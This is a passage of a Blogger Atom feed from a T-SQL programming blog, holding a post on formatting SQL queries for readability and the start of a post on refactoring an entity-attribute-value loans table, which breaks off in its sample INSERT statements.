href='http://pratchev.blogspot.com/feeds/671414577054869502/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4282222233168200124&amp;postID=671414577054869502' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/671414577054869502'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/671414577054869502'/><link rel='alternate' type='text/html' href='http://pratchev.blogspot.com/2010/08/power-of-simplicity.html' title='The Power of Simplicity'/><author><name>Plamen Ratchev</name><uri>http://www.blogger.com/profile/02027705815827955614</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_xSJ2NVXK3d0/TEDSRw15A_I/AAAAAAAAACY/4kesPlCdN3w/S220/Plamen_c_113.png'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4282222233168200124.post-7219649745895467650</id><published>2010-08-05T18:02:00.000-04:00</published><updated>2010-08-05T18:02:48.053-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='t-sql programming'/><category scheme='http://www.blogger.com/atom/ns#' term='style'/><title type='text'>It’s a Matter of Style</title><content type='html'>&lt;p&gt;&lt;span style="padding-bottom: 0px; line-height: 0.9em; margin: -0.28em 0px 0px; padding-left: 0px; padding-right: 0.05em; display: block; float: left; color: #aaa; font-size: 560%; padding-top: 0px"&gt;W&lt;/span&gt; riting SQL can be very enjoyable activity. Reading SQL can be also enjoyable (maybe like reading poetry to some), or very unpleasant… How do you write SQL with style that results in eye pleasing and easy to read/understand code? And does it matter?     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; Sometimes code writing drills down to concentrating on the task at hand and producing a brilliant piece of code, which looks like this:&lt;/p&gt;&lt;table style="border-bottom: #aaa 1px dotted" cellspacing="0" cellpadding="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;       &lt;td style="border-bottom: #aaa 1px dotted; color: #aaa"&gt;Listing 1&lt;/td&gt;     &lt;/tr&gt;&lt;tr&gt;       &lt;td&gt;         &lt;br /&gt;&lt;code style="line-height: normal; font-size: 12px"&gt;&lt;span style="color: blue"&gt;select &lt;/span&gt;&lt;span style="color: black"&gt;c.customer_name&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;o.order_amt&lt;/span&gt;&lt;span style="color: gray"&gt;,              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: black"&gt;d.qty &lt;/span&gt;&lt;span style="color: blue"&gt;from &lt;/span&gt;&lt;span style="color: black"&gt;customers c &lt;/span&gt;&lt;span style="color: magenta"&gt;left &lt;/span&gt;&lt;span style="color: gray"&gt;outer &lt;/span&gt;&lt;span style="color: blue"&gt;join              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: black"&gt;orders o &lt;/span&gt;&lt;span style="color: blue"&gt;on &lt;/span&gt;&lt;span style="color: black"&gt;c.customer_nbr &lt;/span&gt;&lt;span style="color: blue"&gt;= &lt;/span&gt;&lt;span style="color: black"&gt;o.customer_nbr              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: magenta"&gt;left &lt;/span&gt;&lt;span style="color: gray"&gt;outer &lt;/span&gt;&lt;span style="color: blue"&gt;join &lt;/span&gt;&lt;span style="color: black"&gt;orderdetails d &lt;/span&gt;&lt;span style="color: blue"&gt;on &lt;/span&gt;&lt;span style="color: black"&gt;d.order_nbr &lt;/span&gt;&lt;span style="color: blue"&gt;=              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: black"&gt;o.order_nbr &lt;/span&gt;&lt;span style="color: gray"&gt;and &lt;/span&gt;&lt;span style="color: black"&gt;d.sku &lt;/span&gt;&lt;span style="color: blue"&gt;= &lt;/span&gt;&lt;span style="color: black"&gt;101              &lt;br /&gt;&lt;/span&gt;&lt;/code&gt;          &lt;br /&gt;&lt;/td&gt;     &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Or maybe like this:&lt;/p&gt;&lt;table style="border-bottom: #aaa 1px dotted" cellspacing="0" cellpadding="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;       &lt;td style="border-bottom: #aaa 1px dotted; color: #aaa"&gt;Listing 2&lt;/td&gt;     &lt;/tr&gt;&lt;tr&gt;       &lt;td&gt;         &lt;br /&gt;&lt;code style="line-height: normal; font-size: 12px"&gt;&lt;span style="color: blue"&gt;SELECT &lt;/span&gt;&lt;span style="color: black"&gt;C.CUSTOMER_NAME&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;O.ORDER_AMT&lt;/span&gt;&lt;span style="color: gray"&gt;,              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: black"&gt;D.QTY &lt;/span&gt;&lt;span style="color: blue"&gt;FROM &lt;/span&gt;&lt;span style="color: black"&gt;CUSTOMERS C &lt;/span&gt;&lt;span style="color: magenta"&gt;LEFT &lt;/span&gt;&lt;span style="color: gray"&gt;OUTER &lt;/span&gt;&lt;span style="color: blue"&gt;JOIN              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: black"&gt;ORDERS O &lt;/span&gt;&lt;span style="color: blue"&gt;ON &lt;/span&gt;&lt;span style="color: black"&gt;C.CUSTOMER_NBR &lt;/span&gt;&lt;span style="color: blue"&gt;= &lt;/span&gt;&lt;span style="color: black"&gt;O.CUSTOMER_NBR              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: magenta"&gt;LEFT &lt;/span&gt;&lt;span style="color: gray"&gt;OUTER &lt;/span&gt;&lt;span style="color: blue"&gt;JOIN &lt;/span&gt;&lt;span style="color: black"&gt;ORDERDETAILS D &lt;/span&gt;&lt;span style="color: blue"&gt;ON &lt;/span&gt;&lt;span style="color: black"&gt;D.ORDER_NBR &lt;/span&gt;&lt;span style="color: blue"&gt;=              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: black"&gt;O.ORDER_NBR &lt;/span&gt;&lt;span style="color: gray"&gt;AND &lt;/span&gt;&lt;span style="color: black"&gt;D.SKU &lt;/span&gt;&lt;span style="color: blue"&gt;= &lt;/span&gt;&lt;span style="color: black"&gt;101              &lt;br /&gt;&lt;/span&gt;&lt;/code&gt;          &lt;br /&gt;&lt;/td&gt;     &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;While this code performs exceptionally and solves the problem in a very clever way, is it really that good? What happens when the code review/test team gets their turn? Or when you/someone else has to modify it two years from now? To my opinion this code is a very long way from what a real production code should be. And yes, this is very real and it happens every day, even as I type this. Just pay attention on the next code review, or take a look at any online SQL forum (and no, it is not only the people that ask questions, unfortunately&amp;#160; many SQL gurus that know it all would post an answer with similar “example” style).    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; How do you make this code look better? The answer is in the four basic principles of design: contrast, repetition, alignment, and proximity. Let’s look how applying these principles of design (which many think are applicable only to graphic design) can lead to stylish and enjoyable code.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Contrast&lt;/strong&gt;     &lt;br /&gt;The idea is to use contrast for elements that a very different. One example is columns and reserved keyword. They are not the same and the code should make that distinction very clear. Let’s apply that:&lt;/p&gt;&lt;table style="border-bottom: #aaa 1px dotted" cellspacing="0" cellpadding="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;       &lt;td style="border-bottom: #aaa 1px dotted; color: #aaa"&gt;Listing 3&lt;/td&gt;     &lt;/tr&gt;&lt;tr&gt;       &lt;td&gt;         &lt;br /&gt;&lt;code style="line-height: normal; font-size: 12px"&gt;&lt;span style="color: blue"&gt;SELECT &lt;/span&gt;&lt;span style="color: black"&gt;C.customer_name...              &lt;br /&gt;&lt;/span&gt;&lt;/code&gt;          &lt;br /&gt;&lt;/td&gt;     &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Here the SELECT keyword is capitalized to differentiate from the lower case column name. Also, the table alias is capitalized to indicate clearly the table source.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Repetition&lt;/strong&gt;     &lt;br /&gt;Repeating the same element styles for all similar items adds consistency and organization throughout code. For example, repeat and maintain capitalization for all keyword, do not mix style in different context of the code. Like the style of the SELECT and FROM reserved keywords in Listing 4.&lt;/p&gt;&lt;table style="border-bottom: #aaa 1px dotted" cellspacing="0" cellpadding="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;       &lt;td style="border-bottom: #aaa 1px dotted; color: #aaa"&gt;Listing 4&lt;/td&gt;     &lt;/tr&gt;&lt;tr&gt;       &lt;td&gt;         &lt;br /&gt;&lt;code style="line-height: normal; font-size: 12px"&gt;&lt;span style="color: blue"&gt;SELECT &lt;/span&gt;&lt;span style="color: black"&gt;C.customer_name... &lt;/span&gt;&lt;span style="color: blue"&gt;FROM &lt;/span&gt;&lt;span style="color: black"&gt;Customers &lt;/span&gt;&lt;span style="color: blue"&gt;AS &lt;/span&gt;&lt;span style="color: black"&gt;C...              &lt;br /&gt;&lt;/span&gt;&lt;/code&gt;          &lt;br /&gt;&lt;/td&gt;     &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;This allows to “visualize” the shape of the query code. Now the eye can easily flow from one section of code to the next one and concentrate on each element.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Alignment&lt;/strong&gt;     &lt;br /&gt;Code elements should not be placed arbitrarily on the lines of code. Every code item should have some visual connection with another item in the code.&amp;#160; One example is aligning the start of each clause of the query (SELECT, FROM, WHERE, etc.) on a new line:&lt;/p&gt;&lt;table style="border-bottom: #aaa 1px dotted" cellspacing="0" cellpadding="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;       &lt;td style="border-bottom: #aaa 1px dotted; color: #aaa"&gt;Listing 5&lt;/td&gt;     &lt;/tr&gt;&lt;tr&gt;       &lt;td&gt;         &lt;br /&gt;&lt;code style="line-height: normal; font-size: 12px"&gt;&lt;span style="color: blue"&gt;SELECT &lt;/span&gt;&lt;span style="color: black"&gt;C.customer_name...              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;FROM &lt;/span&gt;&lt;span style="color: black"&gt;Customers &lt;/span&gt;&lt;span style="color: blue"&gt;AS &lt;/span&gt;&lt;span style="color: black"&gt;C...              &lt;br /&gt;&lt;/span&gt;&lt;/code&gt;          &lt;br /&gt;&lt;/td&gt;     &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Alignment creates a clean and pleasing look of the code structure.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Proximity&lt;/strong&gt;     &lt;br /&gt;Code items that relate to each other should be grouped close together. When several items are in close proximity they become one visual unit. Like placing SELECT and column names together on the line, similar for FROM and table names or WHERE and predicates. Listing 6 demonstrates this.&lt;/p&gt;&lt;table style="border-bottom: #aaa 1px dotted" cellspacing="0" cellpadding="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;       &lt;td style="border-bottom: #aaa 1px dotted; color: #aaa"&gt;Listing 6&lt;/td&gt;     &lt;/tr&gt;&lt;tr&gt;       &lt;td&gt;         &lt;br /&gt;&lt;code style="line-height: normal; font-size: 12px"&gt;&lt;span style="color: blue"&gt;SELECT &lt;/span&gt;&lt;span style="color: black"&gt;C.customer_name&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;O.order_amt&lt;/span&gt;&lt;span style="color: gray"&gt;...              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;FROM &lt;/span&gt;&lt;span style="color: black"&gt;Customers &lt;/span&gt;&lt;span style="color: blue"&gt;AS &lt;/span&gt;&lt;span style="color: black"&gt;C              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: magenta"&gt;LEFT &lt;/span&gt;&lt;span style="color: gray"&gt;OUTER &lt;/span&gt;&lt;span style="color: blue"&gt;JOIN &lt;/span&gt;&lt;span style="color: black"&gt;Orders &lt;/span&gt;&lt;span style="color: blue"&gt;AS &lt;/span&gt;&lt;span style="color: black"&gt;O...              &lt;br /&gt;&lt;/span&gt;&lt;/code&gt;          &lt;br /&gt;&lt;/td&gt;     &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;This makes the code structure very clear and eliminates clutter.&lt;/p&gt;&lt;p&gt;Let’s apply all four principles to the initial query. Here is one way it may look:&lt;/p&gt;&lt;table style="border-bottom: #aaa 1px dotted" cellspacing="0" cellpadding="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;       &lt;td style="border-bottom: #aaa 1px dotted; color: #aaa"&gt;Listing 7&lt;/td&gt;     &lt;/tr&gt;&lt;tr&gt;       &lt;td&gt;         &lt;br /&gt;&lt;code style="line-height: normal; font-size: 12px"&gt;&lt;span style="color: blue"&gt;SELECT &lt;/span&gt;&lt;span style="color: black"&gt;C.customer_name&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;O.order_amt&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;D.qty              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;FROM &lt;/span&gt;&lt;span style="color: black"&gt;Customers &lt;/span&gt;&lt;span style="color: blue"&gt;AS &lt;/span&gt;&lt;span style="color: black"&gt;C              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: magenta"&gt;LEFT &lt;/span&gt;&lt;span style="color: gray"&gt;OUTER &lt;/span&gt;&lt;span style="color: blue"&gt;JOIN &lt;/span&gt;&lt;span style="color: black"&gt;Orders &lt;/span&gt;&lt;span style="color: blue"&gt;AS &lt;/span&gt;&lt;span style="color: black"&gt;O              &lt;br /&gt;&amp;#160; &lt;/span&gt;&lt;span style="color: blue"&gt;ON &lt;/span&gt;&lt;span style="color: black"&gt;C.customer_nbr &lt;/span&gt;&lt;span style="color: blue"&gt;= &lt;/span&gt;&lt;span style="color: black"&gt;O.customer_nbr              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: magenta"&gt;LEFT &lt;/span&gt;&lt;span style="color: gray"&gt;OUTER &lt;/span&gt;&lt;span style="color: blue"&gt;JOIN &lt;/span&gt;&lt;span style="color: black"&gt;OrderDetails &lt;/span&gt;&lt;span style="color: blue"&gt;AS &lt;/span&gt;&lt;span style="color: black"&gt;D              &lt;br /&gt;&amp;#160; &lt;/span&gt;&lt;span style="color: blue"&gt;ON &lt;/span&gt;&lt;span style="color: black"&gt;D.order_nbr &lt;/span&gt;&lt;span style="color: blue"&gt;= &lt;/span&gt;&lt;span style="color: black"&gt;O.order_nbr              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: gray"&gt;&amp;#160;AND &lt;/span&gt;&lt;span style="color: black"&gt;D.sku &lt;/span&gt;&lt;span style="color: blue"&gt;= &lt;/span&gt;&lt;span style="color: black"&gt;101&lt;/span&gt;&lt;span style="color: gray"&gt;;              &lt;br /&gt;&lt;/span&gt;&lt;/code&gt;          &lt;br /&gt;&lt;/td&gt;     &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;I added a couple extra styling elements (compared to the original query), can you catch them?&lt;/p&gt;&lt;p&gt;Another form of alignment is this:&lt;/p&gt;&lt;table style="border-bottom: #aaa 1px dotted" cellspacing="0" cellpadding="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;       &lt;td style="border-bottom: #aaa 1px dotted; color: #aaa"&gt;Listing 8&lt;/td&gt;     &lt;/tr&gt;&lt;tr&gt;       &lt;td&gt;         &lt;br /&gt;&lt;code style="line-height: normal; font-size: 12px"&gt;&lt;span style="color: black"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span style="color: blue"&gt;SELECT &lt;/span&gt;&lt;span style="color: black"&gt;C.customer_name&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;O.order_amt&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;D.qty              &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span style="color: blue"&gt;FROM &lt;/span&gt;&lt;span style="color: black"&gt;Customers &lt;/span&gt;&lt;span style="color: blue"&gt;AS &lt;/span&gt;&lt;span style="color: black"&gt;C              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: magenta"&gt;LEFT &lt;/span&gt;&lt;span style="color: gray"&gt;OUTER &lt;/span&gt;&lt;span style="color: blue"&gt;JOIN &lt;/span&gt;&lt;span style="color: black"&gt;Orders &lt;/span&gt;&lt;span style="color: blue"&gt;AS &lt;/span&gt;&lt;span style="color: black"&gt;O              &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span style="color: blue"&gt;ON &lt;/span&gt;&lt;span style="color: black"&gt;C.customer_nbr &lt;/span&gt;&lt;span style="color: blue"&gt;= &lt;/span&gt;&lt;span style="color: black"&gt;O.customer_nbr              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: magenta"&gt;LEFT &lt;/span&gt;&lt;span style="color: gray"&gt;OUTER &lt;/span&gt;&lt;span style="color: blue"&gt;JOIN &lt;/span&gt;&lt;span style="color: black"&gt;OrderDetails &lt;/span&gt;&lt;span style="color: blue"&gt;AS &lt;/span&gt;&lt;span style="color: black"&gt;D              &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span style="color: blue"&gt;ON &lt;/span&gt;&lt;span style="color: black"&gt;D.order_nbr &lt;/span&gt;&lt;span style="color: blue"&gt;= &lt;/span&gt;&lt;span style="color: black"&gt;O.order_nbr              &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/span&gt;&lt;span style="color: gray"&gt;AND &lt;/span&gt;&lt;span style="color: black"&gt;D.sku &lt;/span&gt;&lt;span style="color: blue"&gt;= &lt;/span&gt;&lt;span style="color: black"&gt;101&lt;/span&gt;&lt;span style="color: gray"&gt;;              &lt;br /&gt;&lt;/span&gt;&lt;/code&gt;          &lt;br /&gt;&lt;/td&gt;     &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;There are many different ways to style your SQL. You may agree or disagree with some elements, but the bottom line is this: style matters!&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4282222233168200124-7219649745895467650?l=pratchev.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pratchev.blogspot.com/feeds/7219649745895467650/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4282222233168200124&amp;postID=7219649745895467650' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/7219649745895467650'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4282222233168200124/posts/default/7219649745895467650'/><link rel='alternate' type='text/html' href='http://pratchev.blogspot.com/2010/08/its-matter-of-style.html' title='It’s a Matter of Style'/><author><name>Plamen Ratchev</name><uri>http://www.blogger.com/profile/02027705815827955614</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_xSJ2NVXK3d0/TEDSRw15A_I/AAAAAAAAACY/4kesPlCdN3w/S220/Plamen_c_113.png'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4282222233168200124.post-5028479143415872270</id><published>2010-07-27T22:18:00.002-04:00</published><updated>2010-07-27T22:19:37.805-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='best practices'/><category scheme='http://www.blogger.com/atom/ns#' term='t-sql programming'/><category scheme='http://www.blogger.com/atom/ns#' term='refactoring'/><title type='text'>Refactoring Entity-Attribute-Value Design</title><content type='html'>&lt;p&gt;&lt;span style="padding-bottom: 0px; line-height: 0.9em; margin: -0.28em 0px 0px; padding-left: 0px; padding-right: 0.05em; display: block; float: left; color: #aaa; font-size: 560%; padding-top: 0px"&gt;E&lt;/span&gt;ntity-Attribute-Value (often referenced as EAV) table design is one of the “wonderful” things that newcomers to the SQL land discover very quickly! Traditional procedural programmers have very hard time understanding why tables have fixed number of columns, and adding a new column requires table and possibly code change. Their great problem solving skills from the procedural world help them find a “natural” solution – the EAV design – where a pair of key (describing the attribute) and value allow to store data with flexibility.     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; Example is storing all employee information in 3 columns: key column to identify employee (&lt;strong&gt;entity&lt;/strong&gt;), attribute key column (&lt;strong&gt;attribute&lt;/strong&gt;) to identify the attribute stored (name, birth date, SSN, date of hire, etc.), and value column (&lt;strong&gt;value&lt;/strong&gt;) to store the actual value.     &lt;table style="float: right" cellspacing="0" cellpadding="0" width="50%"&gt;&lt;tbody&gt;&lt;tr&gt;         &lt;td style="padding-top: 8px"&gt;           &lt;table style="border-bottom: #aaa 5px solid; float: right" cellspacing="0" cellpadding="0" width="95%"&gt;&lt;tbody&gt;&lt;tr&gt;                 &lt;td style="background-color: #aaa; padding-left: 10px; height: 30px; color: #fff"&gt;More on EAV...&lt;/td&gt;               &lt;/tr&gt;&lt;tr&gt;                 &lt;td style="padding-bottom: 12px; padding-left: 10px; padding-right: 10px; padding-top: 4px"&gt;                   &lt;p&gt;Tony Andrews has an excellent article explaining the problems with EAV design: &lt;a href="http://tonyandrews.blogspot.com/2004/10/otlt-and-eav-two-big-design-mistakes.html" target="_blank"&gt;OTLT and EAV: the two big design mistakes all beginners make&lt;/a&gt;. It is worth to note that in some cases where it is required to store many attributes that change very often (new attributes added, or existing attributes deleted) and there is no need for referential or domain integrity and query logic based on these attributes then it may be a valid scenario to utilize EAV design.&lt;/p&gt;&lt;/td&gt;               &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;       &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;Normally the value column has to be of some large length character data type, like VARCHAR(200), and data has to be casted to text when saved and then casted back to the original data type when retrieved.&amp;#160; &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; Once all coding is done then comes the realization of how bad this approach is… And sometimes you just walk into a project where EAV has been already deployed and now it is your job to fix it. The typical signs of EAV implementation is the existence of very complex (and slow) queries to satisfy relatively trivial user requests for data and the lack of data integrity.     &lt;br /&gt;&lt;br /&gt;&lt;b&gt;How do you fix EAV design?&lt;/b&gt;     &lt;br /&gt;Here is one example of EAV design and the refactoring process to correct it. In our case the information for bank loans is stored in a table representing EAV design. Listing 1 below shows the scripts to create the table and insert sample data.&lt;/p&gt;&lt;table style="border-bottom: #aaa 1px dotted" cellspacing="0" cellpadding="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;       &lt;td style="border-bottom: #aaa 1px dotted; color: #aaa"&gt;Listing 1&lt;/td&gt;     &lt;/tr&gt;&lt;tr&gt;       &lt;td&gt;         &lt;br /&gt;&lt;code style="line-height: normal; font-size: 12px"&gt;&lt;span style="color: green"&gt;-- EAV table              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;CREATE TABLE &lt;/span&gt;&lt;span style="color: black"&gt;EAV_Loans &lt;/span&gt;&lt;span style="color: gray"&gt;(              &lt;br /&gt;&amp;#160; &lt;/span&gt;&lt;span style="color: black"&gt;loan_nbr &lt;/span&gt;&lt;span style="color: blue"&gt;INT &lt;/span&gt;&lt;span style="color: gray"&gt;NOT NULL,              &lt;br /&gt;&amp;#160; &lt;/span&gt;&lt;span style="color: black"&gt;customer_nbr &lt;/span&gt;&lt;span style="color: blue"&gt;INT &lt;/span&gt;&lt;span style="color: gray"&gt;NOT NULL,              &lt;br /&gt;&amp;#160; &lt;/span&gt;&lt;span style="color: black"&gt;code &lt;/span&gt;&lt;span style="color: blue"&gt;VARCHAR&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;30&lt;/span&gt;&lt;span style="color: gray"&gt;) NOT NULL,              &lt;br /&gt;&amp;#160; &lt;/span&gt;&lt;span style="color: black"&gt;value &lt;/span&gt;&lt;span style="color: blue"&gt;VARCHAR&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;200&lt;/span&gt;&lt;span style="color: gray"&gt;),              &lt;br /&gt;&amp;#160; &lt;/span&gt;&lt;span style="color: blue"&gt;CONSTRAINT &lt;/span&gt;&lt;span style="color: black"&gt;pk_eav_loans              &lt;br /&gt;&amp;#160; &lt;/span&gt;&lt;span style="color: blue"&gt;PRIMARY KEY &lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;loan_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;customer_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;code&lt;/span&gt;&lt;span style="color: gray"&gt;));              &lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;INSERT INTO &lt;/span&gt;&lt;span style="color: black"&gt;EAV_Loans              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;loan_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;customer_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;code&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;value&lt;/span&gt;&lt;span style="color: gray"&gt;)              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;VALUES&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;1&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;1&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: red"&gt;'date'&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: red"&gt;'20080110'&lt;/span&gt;&lt;span style="color: gray"&gt;);              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;INSERT INTO &lt;/span&gt;&lt;span style="color: black"&gt;EAV_Loans              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;loan_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;customer_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;code&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;value&lt;/span&gt;&lt;span style="color: gray"&gt;)              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;VALUES&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;1&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;1&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: red"&gt;'amount'&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: red"&gt;'1500.00'&lt;/span&gt;&lt;span style="color: gray"&gt;);              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;INSERT INTO &lt;/span&gt;&lt;span style="color: black"&gt;EAV_Loans              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;loan_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;customer_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;code&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;value&lt;/span&gt;&lt;span style="color: gray"&gt;)              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;VALUES&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;1&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;1&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: red"&gt;'type'&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: red"&gt;'personal'&lt;/span&gt;&lt;span style="color: gray"&gt;);              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue"&gt;INSERT INTO &lt;/span&gt;&lt;span style="color: black"&gt;EAV_Loans              &lt;br /&gt;&lt;/span&gt;&lt;span style="color: gray"&gt;(&lt;/span&gt;&lt;span style="color: black"&gt;loan_nbr&lt;/span&gt;&lt;span style="color: gray"&gt;, &lt;/span&gt;&lt;span style="color: black"&gt;customer_nbr&lt;/span&gt;&lt;span style="color: 